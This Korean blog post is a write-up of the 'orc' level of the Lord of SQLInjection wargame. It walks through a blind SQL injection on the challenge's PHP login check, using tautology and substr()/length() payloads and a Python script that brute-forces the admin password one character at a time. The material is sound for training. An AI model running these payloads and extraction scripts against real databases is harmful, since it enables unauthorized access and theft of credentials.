LOS #04 orc

2020. 10. 28. 22:49
728x90
728x90
728x90
 

Lord of SQLInjection

 

los.rubiya.kr

Source code

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>

 

Query

select id from prob_orc where id='admin' and pw=''

 

Write-up

[사진 1]

위 사진에서 확인할 수 있는 정보는 다음과 같다.

  • 파라미터는 pw 1개가 사용될 수 있다.

  • pw 값에 특별한 필터링은 되지 않는다.

  • id 값은 'admin'으로 고정되어 있다.

  • 마지막 if문을 보면 입력한 pw 값과 DB에 저장되어 있는 pw 값이 정확히 일치해야 함을 알 수 있다.

입력 pw 값이 DB의 pw 값과 정확히 일치해야 하므로 결국 DB 상의 pw 값을 알아내야 한다. 입력한 pw 값에 대해 특별한 필터링을 하지 않으므로 '참' 값이 반환되도록 우회하고 mysql substr() 함수로 pw 값을 1개씩 잘라서 대조하여 pw 값을 알아내면 된다.

 

* mysql substr() 함수는 특정 문자열에서 원하는 문자열을 자를 수 있다.

 

MySQL SUBSTR() Function

MySQL SUBSTR() Function ❮ MySQL Functions Example Extract a substring from a string (start at position 5, extract 3 characters): SELECT SUBSTR("SQL Tutorial", 5, 3) AS ExtractString; Try it Yourself » Definition and Usage The SUBSTR() function extracts

www.w3schools.com

 

[사진 2]

위와 같이 pw 값으로 "1' or '1'='1" 문자열을 전달하면 쿼리문을 우회하여 admin 데이터를 가져올 수 있다. 하지만 입력한 pw 값이 데이터베이스 상의 pw 값이 아니므로 orc 문제가 clear 되지는 않는다.

따라서 정확한 pw 값을 알아낼 필요가 있고, substr() 함수를 사용하면 된다.

 

[사진 3]

위 사진의 쿼리문 중 "substr(pw, 1, 1)=0" 구문은 "admin" id 값에 해당하는 pw 값의 첫 번째 문자로부터 1개 만큼 자른 문자열(즉, 첫 번째 문자)과 "0" 문자를 비교한다.

위 사진에서는 DB상의 pw 값에서 잘라낸 첫 번째 문자가 "0"이기 때문에 "admin" 데이터를 가져올 수 있었다.

 

[사진 4]

위 사진과 같이 pw 값의 첫 번째 문자로 "0" 문자 대신 "1" 문자를 입력하면 "admin" 데이터를 가져오지 못한다.

이제 한 글자씩 substr() 함수로 비교를 하면 되는데, 먼저 pw 값의 길이를 알 필요가 있다.

 

 

[사진 5]

위와 같이 length() 함수를 이용해서 "admin" id 값에 해당하는 pw 값의 길이를 추측하면 된다. 길이는 8임을 알 수 있다.

길이가 8인 pw 값에는 숫자, 영어소문자 및 대문자, 특수문자 등이 포함될 수 있기 때문에 일일이 입력하면 굉장이 오래걸리기 때문에 python으로 간단한 코드를 작성하면 쉽게 해결할 수 있다.

 

* 사용하는 모듈은 "requests" 모듈로 다음 사이트를 참고하면 된다.

 

Python Requests post Method

Python Requests post() Method ❮ Requests Module Example Make a POST request to a web page, and return the response text: import requests url = 'https://www.w3schools.com/python/demopage.php' myobj = {'somekey': 'somevalue'} x = requests.post(url, data =

www.w3schools.com

Code

#!/usr/bin/py
#-*-coding:utf-8 -*-

import requests

pw=""

for i in range(1,9):
  for j in range(33,128): # ascii code로 변환할 chr() 함수로 전달할 파라미터 값
    try:
      url="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=1' or id='admin' and substr(pw, " + str(i) + ", 1)='" + chr(j)
      result = requests.post(url, cookies=(dict(PHPSESSID="세션값")))
    except:
      print("Error...")
      continue
    if 'Hello admin' in result.text:
      pw = pw + chr(j)
      print("pw : " + pw)
      break

pw 값에 있을만한 모든 문자들(ascii code 10진수로 33 ~ 127)을 순서대로 한 글자씩 전달하고 response 값에서 'Hello admin' 문자열이 있는지 검사한다.

'Hello admin' 문자열이 반환된다면 pw 값을 순서대로 저장한다.

 

[사진 6]

 

Parameter

pw=095a9852

쿼리문은 다음과 같다. 중간에 "A" 문자가 "a" 문자로 바뀐 이유는 mysql에서 대소문자 구분을 안하기 때문에 "A" 문자로 출력된 것이다.

select id from prob_orc where id='admin' and pw='095a9852'

 

Success

[사진 7]

728x90
728x90

'Wargame > LOS' 카테고리의 다른 글

LOS #06 darkelf  (0) 2020.10.28
LOS #05 wolfman  (0) 2020.10.28
LOS #03 goblin  (0) 2020.10.28
LOS #02 cobolt  (0) 2020.10.28
LOS #01 gremlin  (0) 2020.10.28

+ Recent posts